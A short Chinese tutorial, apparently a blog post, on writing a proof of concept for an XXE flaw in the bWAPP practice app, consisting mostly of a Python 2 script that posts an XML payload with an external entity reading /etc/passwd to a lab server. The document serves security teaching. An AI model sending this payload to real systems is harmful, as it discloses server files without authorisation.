Poc初探之XXE

用bwapp的例子简单回顾下xxe漏洞：通过在xml外部实体附带非法参数，实现非法操作。如下图：

POC编写思路：针对漏洞页面，发送带相应非法参数的包。人生苦短，下面用Python 的urllib2模块演示。

#! /usr/bin/python
# coding=utf-8
# __author__='Dou—wei'
import urllib2

if __name__ == '__main__':

    url = 'http://192.168.253.35/bWAPP/xxe-2.php'

    headers = {'Content-type': 'text/xml',
               'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
               
'Referer':'http://192.168.253.35/bWAPP/xxe-1.php',
               
'Cookie':'security_level=0; PHPSESSID=bb658833b01b36d0bb6d1d6d86af3c4b' 
               
}
   
    xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><reset><login>&xxe;</login><secret>Any bugs?</secret></reset>'

    req = urllib2.Request(url = url,headers = headers, data = xml)

    res_data = urllib2.urlopen(req)

    res = res_data.read()

    print res

效果如下：